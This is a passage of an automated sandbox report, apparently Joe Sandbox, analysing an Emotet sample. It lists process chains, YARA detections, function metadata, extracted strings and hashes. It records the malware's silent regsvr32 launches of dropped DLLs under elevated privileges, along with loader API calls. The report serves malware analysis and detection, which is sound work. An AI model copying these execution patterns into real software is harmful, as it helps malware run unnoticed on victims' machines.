Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.1218923490.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.1219645231.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1956, Parent PID: 1200

General

Target ID:	8
Start time:	09:10:34
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Imagebase:	0xff5b0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.944087304.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.943168453.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1972, Parent PID: 1956

General

Target ID:	9
Start time:	09:10:36
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FiPeSYwmr\Wuiko.dll"
Imagebase:	0xff5b0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1218912030.0000000000150000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1219706572.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2608, Parent PID: 1200

General

Target ID:	10
Start time:	09:10:36
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Imagebase:	0xff5b0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.950850615.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.951348566.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1424, Parent PID: 2608

General

Target ID:	11
Start time:	09:10:39
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PLVmoWLosZJQb\bTjwWDTWvnC.dll"
Imagebase:	0xff5b0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000B.00000002.1219777301.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000B.00000002.1218930467.0000000000220000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 2552, Parent PID: 1200COMMON

Execution Graph

Execution Coverage:	7.2%
Dynamic/Decrypted Code Coverage:	2.3%
Signature Coverage:	10.3%
Total number of Nodes:	1849
Total number of Limit Nodes:	30

Executed Functions

Function 000007FEF9D212B0 Relevance: 144.4, APIs: 6, Strings: 76, Instructions: 872
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoLoadLibrary.OLE32 ref: 000007FEF9D22F02
MessageBoxA.USER32 ref: 000007FEF9D22F1C
ExitProcess.KERNEL32 ref: 000007FEF9D22F27
VirtualAlloc.KERNELBASE ref: 000007FEF9D22F57
RtlAllocateHeap.NTDLL ref: 000007FEF9D22F65
CoTaskMemFree.OLE32 ref: 000007FEF9D22F86

Strings

k%$b, xrefs: 000007FEF9D217B6
A+M, xrefs: 000007FEF9D2136E
hH)}, xrefs: 000007FEF9D228DC
-~5, xrefs: 000007FEF9D21946
QS}5, xrefs: 000007FEF9D22C6A
1>#J, xrefs: 000007FEF9D21485
u'(, xrefs: 000007FEF9D21892
eMh, xrefs: 000007FEF9D21F90
w5M, xrefs: 000007FEF9D21E3C
$cb(, xrefs: 000007FEF9D215CC
b('x, xrefs: 000007FEF9D21D9C
o(fA, xrefs: 000007FEF9D21AA4
9cnt, xrefs: 000007FEF9D22A62
GBQ+, xrefs: 000007FEF9D21720
Qv5, xrefs: 000007FEF9D22B98
Qp_*, xrefs: 000007FEF9D220B2
aQTH, xrefs: 000007FEF9D226F2
,kb(, xrefs: 000007FEF9D226DE
kW]>, xrefs: 000007FEF9D21662
xT]v, xrefs: 000007FEF9D218A6
pNR`, xrefs: 000007FEF9D21806
:-ZZ, xrefs: 000007FEF9D21A04
N7#6, xrefs: 000007FEF9D21A36
#sa{, xrefs: 000007FEF9D2253A
p0, xrefs: 000007FEF9D22A94
S<j, xrefs: 000007FEF9D22148
|Oi, xrefs: 000007FEF9D22800
1D4v, xrefs: 000007FEF9D21407
L`, xrefs: 000007FEF9D216A8
VqQS, xrefs: 000007FEF9D22CC4
q.$, xrefs: 000007FEF9D21ACC
aEy, xrefs: 000007FEF9D21B6C
_>zT, xrefs: 000007FEF9D216C6
bkg2, xrefs: 000007FEF9D21326
3/Q, xrefs: 000007FEF9D22B52
werfault.exe, xrefs: 000007FEF9D22E68
!k}, xrefs: 000007FEF9D2222E
Pv5=, xrefs: 000007FEF9D2144D
b(/N, xrefs: 000007FEF9D22A3A
4cg, xrefs: 000007FEF9D21B8A
[`, xrefs: 000007FEF9D218CE
CwT>, xrefs: 000007FEF9D217DE
hH, xrefs: 000007FEF9D226FC
+80Z, xrefs: 000007FEF9D2195A
"<t, xrefs: 000007FEF9D2191E
@+*, xrefs: 000007FEF9D22292
k%a^, xrefs: 000007FEF9D2215C
a%"^, xrefs: 000007FEF9D22026
pw ~, xrefs: 000007FEF9D22756
t+)s, xrefs: 000007FEF9D22288
g(%", xrefs: 000007FEF9D2196E
N tW, xrefs: 000007FEF9D2177A
kj, xrefs: 000007FEF9D21F7C
iAk%, xrefs: 000007FEF9D221B6
_>zT, xrefs: 000007FEF9D21A7C
L1&, xrefs: 000007FEF9D2258A
t/p, xrefs: 000007FEF9D21396
c(kA, xrefs: 000007FEF9D228BE
@kb(, xrefs: 000007FEF9D22328
"BQa, xrefs: 000007FEF9D21415
]=5[, xrefs: 000007FEF9D222A6
Qv}N, xrefs: 000007FEF9D224EA
gWQ>tTQv5MVM6qQS<jb(kAk%aQTGeMhH)59cj, xrefs: 000007FEF9D22FBB
oRP, xrefs: 000007FEF9D22E54
,'a, xrefs: 000007FEF9D224A4
?#, xrefs: 000007FEF9D2226A
}LhH, xrefs: 000007FEF9D229F4
^ir, xrefs: 000007FEF9D21C16
+sui, xrefs: 000007FEF9D22DE6
aZ., xrefs: 000007FEF9D228C8
:Pt, xrefs: 000007FEF9D21477
*p, xrefs: 000007FEF9D22116
)*E, xrefs: 000007FEF9D21D06
uTQ2, xrefs: 000007FEF9D2230A
$v"P, xrefs: 000007FEF9D22E6F
1+t, xrefs: 000007FEF9D22C9C

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocAllocateExitFreeHeapLibraryLoadMessageProcessTaskVirtual
String ID: :Pt$aZ.$!k}$"<t$"BQa$#sa{$$cb($$v"P$)*E$*p$+80Z$+sui$,'a$,kb($-~5$1+t$1>#J$1D4v$3/Q$4cg$9cnt$:-ZZ$?#$@kb($A+M$CwT>$GBQ+$N tW$N7#6$Pv5=$QS}5$Qp_*$Qv5$Qv}N$VqQS$[`$]=5[$^ir$_>zT$_>zT$a%"^$aQTH$b('x$b(/N$bkg2$c(kA$eMh$g(%"$gWQ>tTQv5MVM6qQS<jb(kAk%aQTGeMhH)59cj$hH)}$iAk%$kj$k%$b$k%a^$kW]>$o(fA$oRP$pNR`$pw ~$p0$q.$$t+)s$t/p$uTQ2$u'($werfault.exe$xT]v$}LhH$L`$@+*$L1&$S<j$aEy$w5M$|Oi$hH
API String ID: 2181984824-2091011546
Opcode ID: 1c06ffdaf7f78c717c8658d928c07ebd4f6ae3fbc6f84201f2b376329c5d69d0
Instruction ID: bb29df52505e4adc914c7d7009f7ad667354b97652f73d457c5e5bdb89db6ee0
Opcode Fuzzy Hash: 1c06ffdaf7f78c717c8658d928c07ebd4f6ae3fbc6f84201f2b376329c5d69d0
Instruction Fuzzy Hash: 3FE2C8B250A7C18FE3748F66AE847DD3AA1F341748F609208C3991FA1DCB7A5255CF86

Uniqueness

Uniqueness Score: -1.00%

Function 002B0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 002B0450
GetNativeSystemInfo.KERNEL32 ref: 002B0539
VirtualAlloc.KERNELBASE ref: 002B0580
VirtualProtect.KERNELBASE ref: 002B09E9

Strings

Slee, xrefs: 002B00B7
Virt, xrefs: 002B00F8
urce, xrefs: 002B035D
Cach, xrefs: 002B012F
Reso, xrefs: 002B02FC
ativ, xrefs: 002B013D
eSys, xrefs: 002B0144
Libr, xrefs: 002B00D0
Size, xrefs: 002B0311
urce, xrefs: 002B02E7
ofRe, xrefs: 002B0318
urce, xrefs: 002B0340
rote, xrefs: 002B0106
ualP, xrefs: 002B00FF
aryA, xrefs: 002B00D8
Load, xrefs: 002B02F4
Flus, xrefs: 002B0113
Virt, xrefs: 002B00E0
temI, xrefs: 002B014B
ncti, xrefs: 002B016A
urce, xrefs: 002B0304
lloc, xrefs: 002B00F0
truc, xrefs: 002B0121
RtlA, xrefs: 002B015C
GetN, xrefs: 002B0136
Free, xrefs: 002B034D
tion, xrefs: 002B0128
onTa, xrefs: 002B0171
ddFu, xrefs: 002B0163
ualA, xrefs: 002B00E8
Reso, xrefs: 002B0355
Lock, xrefs: 002B0330
sour, xrefs: 002B031F
Find, xrefs: 002B02D0
Load, xrefs: 002B00C8
Reso, xrefs: 002B0338
Reso, xrefs: 002B02DB
hIns, xrefs: 002B011A

Memory Dump Source

Source File: 00000003.00000002.926408165.00000000002B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 002B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: 0927d2af9352a1c10bb23b0ea1c64691f68e7e2c73622672a2ceb4e15a87d831
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: 2572D730628B498BDB29DF18C8856FAB7E1FB98345F10462DE8CBC7211DB34E556CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011E5C Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:j, xrefs: 000000018001216C
/, xrefs: 00000001800120CE
5, xrefs: 00000001800123F7
@u, xrefs: 0000000180012023
UI, xrefs: 000000018001228A
UI, xrefs: 000000018001243F

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :j$UI$UI$/$5$@u
API String ID: 0-1744832406
Opcode ID: d5fbd5fb42e64105118402a22ae1fd0938665267daf4f484be707b3cdea1b60d
Instruction ID: 62cabd7460019d857fad8ef6802a9940dae2da1dd4c69d60ad9891f806a9e916
Opcode Fuzzy Hash: d5fbd5fb42e64105118402a22ae1fd0938665267daf4f484be707b3cdea1b60d
Instruction Fuzzy Hash: 35421971A1470EDFCB58DFA8C49A6EEBBF2FB44348F008159E806A7250DB719619CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026F14 Relevance: 6.9, Strings: 5, Instructions: 675
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[9S, xrefs: 0000000180027341
zUP, xrefs: 0000000180027817
F:^-, xrefs: 00000001800278E6
?'3, xrefs: 00000001800276DA
yc, xrefs: 0000000180027966

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: F:^-$[9S$zUP$?'3$yc
API String ID: 0-3875576172
Opcode ID: 149e3d3d365d4ff99a41c49fe7a0ea6fd866fcc9ad2b25dafda07a3e1acf3aff
Instruction ID: acf5a29543b44a4ac2cab22a28fc6f208f1c2d96f0abb29e90a070f971d4b191
Opcode Fuzzy Hash: 149e3d3d365d4ff99a41c49fe7a0ea6fd866fcc9ad2b25dafda07a3e1acf3aff
Instruction Fuzzy Hash: 13720C7050038E8FDF49DF24C88A6DE3BA1FB68388F114619FC56962A1C7B4DA65CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016320 Relevance: 6.4, Strings: 5, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!, xrefs: 0000000180016583
>], xrefs: 0000000180016390
vM/, xrefs: 0000000180016469
{Wo, xrefs: 00000001800164EE
>], xrefs: 0000000180016377

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !$>]$>]$vM/${Wo
API String ID: 0-1672528178
Opcode ID: 3476f63b1fd483a3e4edb66e4c1250727eb216b571a6250b7c7aa87006e10f17
Instruction ID: 47ac1da3a1e26fe678bf2a9ce2069fe56df1d0f6d245f307fc2b30da9b08538d
Opcode Fuzzy Hash: 3476f63b1fd483a3e4edb66e4c1250727eb216b571a6250b7c7aa87006e10f17
Instruction Fuzzy Hash: 5C81197051464CABDBE9DF28C8C9BDD3BA0FB58394F906119FD02862A0DB74D9C5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001378 Relevance: 5.4, Strings: 4, Instructions: 391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u%, xrefs: 0000000180001568
L\`, xrefs: 000000018000186E
%DcZ, xrefs: 000000018000147D
vr, xrefs: 0000000180001725

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %DcZ$L\`$u%$vr
API String ID: 0-873403245
Opcode ID: 2030f1da5196c9f476bb93962b4ebdec29646a183379a03d07fdefea4280d3e9
Instruction ID: 7a4330a3d3912fed14e69a2d18b4041e28774fe6b527757d4cbe653c4a95fa98
Opcode Fuzzy Hash: 2030f1da5196c9f476bb93962b4ebdec29646a183379a03d07fdefea4280d3e9
Instruction Fuzzy Hash: 0912F47152068CDFCB8CDF28C88AADD7BA1FB48398F956219FD0A97250D774D984CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001D58 Relevance: 5.3, Strings: 4, Instructions: 321
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 0000000180002017
%T, xrefs: 00000001800023DB
~V6k, xrefs: 000000018000228D
.mZ, xrefs: 0000000180001EF0

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .mZ$\$~V6k$%T
API String ID: 0-3287852823
Opcode ID: ccbc70a1b43ffc6d5414b274ff0ecbed60153be03e3051f192a6aa15e06d1cac
Instruction ID: 166b9a2b8c7d7ea13ff64321e1c32e26f96a2e299ccb60065a18498a6503f561
Opcode Fuzzy Hash: ccbc70a1b43ffc6d5414b274ff0ecbed60153be03e3051f192a6aa15e06d1cac
Instruction Fuzzy Hash: 0402E8711013C8CBEBBECFA4D885BD97BA9FB44B44F10661AE84AAE250CBB45745CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28860 Relevance: 4.5, APIs: 3, Instructions: 25
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28876
GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28891
HeapSetInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D288BB

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction ID: 9235811b63a60011062a1442a231d54292fe2d432e51c42db702af6c27d11e97
Opcode Fuzzy Hash: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction Fuzzy Hash: 50F0FE74A18A4282F7949729AC0977E63D0B758345FA1C43696CD826B4DF3F9589C601

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002C6C8 Relevance: 4.0, Strings: 3, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

}, xrefs: 000000018002C94C
078, xrefs: 000000018002CA90
GDo, xrefs: 000000018002CA1E

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 078$GDo$}
API String ID: 0-303245572
Opcode ID: 8956c442c33fd1cde17bd2344d54593dce01cac8c777ad426ea07fe8eec3f5fb
Instruction ID: 0c94e6823936b68487d3afc04f5daf4118d9ac6b30c0afcc694cd4a40111a1d0
Opcode Fuzzy Hash: 8956c442c33fd1cde17bd2344d54593dce01cac8c777ad426ea07fe8eec3f5fb
Instruction Fuzzy Hash: 32D1CAB051A784AFC398DF28C1CA94BBBE0FB84754F906A1DF88686260D7B0D945CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025C30 Relevance: 3.8, Strings: 3, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

wC, xrefs: 0000000180025D70
e@-0, xrefs: 0000000180025CC7
f , xrefs: 0000000180025C46

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: e@-0$f $wC
API String ID: 0-2741453468
Opcode ID: 6e670c046987691f0a1e9af823784eece018238e228c51a72b7d39087d84c909
Instruction ID: f8f9b13c1cb793f3116966172e7ed192e0f5529545d7cab8ca7c6d0d9d04acad
Opcode Fuzzy Hash: 6e670c046987691f0a1e9af823784eece018238e228c51a72b7d39087d84c909
Instruction Fuzzy Hash: E2319571518B848FD3A8DF28C48975ABBE1FB84344F608A1DE6DACB260DB709549CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002C2C8 Relevance: 2.6, Strings: 2, Instructions: 126COMMON

Download Yara Rule

Strings

rKS(, xrefs: 000000018002C482
L=`, xrefs: 000000018002C48A

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: L=`$rKS(
API String ID: 0-4157335196
Opcode ID: 0ffd1ea2413f9b71380f5aeaf5e19bad7dcec336af59defbaf39c2d3ae1cfae5
Instruction ID: c6b4aee86e77721e5ec6a37c1ce5251b52915c7d30808e23b45806a77bf6ffc0
Opcode Fuzzy Hash: 0ffd1ea2413f9b71380f5aeaf5e19bad7dcec336af59defbaf39c2d3ae1cfae5
Instruction Fuzzy Hash: FD51BC705183848FC769DF29C18A64BBBF1FBC6784F108A1DE69A86261D772D909CF43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026410 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

8h, xrefs: 0000000180026741

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8h
API String ID: 0-2787117397
Opcode ID: d20b5c2dabe29708a31ba0e8275e2e5ac6bcf12f9e6970397621dbc27d768f27
Instruction ID: eb392778bd881193a348804f8d52045fa41d3382a0d9eae0dd8f361f159f4541
Opcode Fuzzy Hash: d20b5c2dabe29708a31ba0e8275e2e5ac6bcf12f9e6970397621dbc27d768f27
Instruction Fuzzy Hash: 28D12E7060578C8FEBBADF24CC997DE3BA0FB49744F504219D88A8E260CB745B49CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27640 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32 ref: 000007FEF9D2764C
_calloc_dbg.LIBCMTD ref: 000007FEF9D27671

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D2765A, 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$InfoStartup_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 1930727954-3864165772
Opcode ID: ad15c381301d28b8263a0ad4c3d04fd02eedca4ba797fff4e6a56cbc154e2c0b
Instruction ID: 04d5086f9a303f60624db38f474b136a55c048ce8eacbf8a5fedaf0ba48a359d
Opcode Fuzzy Hash: ad15c381301d28b8263a0ad4c3d04fd02eedca4ba797fff4e6a56cbc154e2c0b
Instruction Fuzzy Hash: DDF1D82260DBC5C9E7B08B19E88076EB7A0F385B64F258226CAED477E4DB3DD445CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27DE0 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__initmbctable.LIBCMT ref: 000007FEF9D27DED
_calloc_dbg.LIBCMTD ref: 000007FEF9D27E7B
_calloc_dbg.LIBCMTD ref: 000007FEF9D27F1B

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D27F9B

Strings

_setenvp, xrefs: 000007FEF9D27F8B
strcpy_s(*env, cchars, p), xrefs: 000007FEF9D27F92
~, xrefs: 000007FEF9D27EFE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27F84
0*/, xrefs: 000007FEF9D27F38
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27E66, 000007FEF9D27F06

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$__initmbctable_invalid_parameter_invoke_watson_if_error
String ID: 0*/$_setenvp$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$strcpy_s(*env, cchars, p)$~
API String ID: 1648969265-474309611
Opcode ID: 1267f019c7e433370f87e7d76307e13ae481beb469170db0d9b2813ec215c0ca
Instruction ID: dee10c55842e2b838f4c2249843f6d7af4c066fce2f7611d1afded1b25fdeaa1
Opcode Fuzzy Hash: 1267f019c7e433370f87e7d76307e13ae481beb469170db0d9b2813ec215c0ca
Instruction Fuzzy Hash: D0514F31A1CA8682EB90CB19E88576E77E0F385794F704126EACE477B4DB7EE4408B51

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27280 Relevance: 12.1, APIs: 8, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 000007FEF9D272CE
DecodePointer.KERNEL32 ref: 000007FEF9D27375
DecodePointer.KERNEL32 ref: 000007FEF9D272EC

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

DecodePointer.KERNEL32 ref: 000007FEF9D27398
DecodePointer.KERNEL32 ref: 000007FEF9D273AA
_initterm.LIBCMTD ref: 000007FEF9D27408
_initterm.LIBCMTD ref: 000007FEF9D2741B
__crtExitProcess.LIBCMTD ref: 000007FEF9D2747D

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
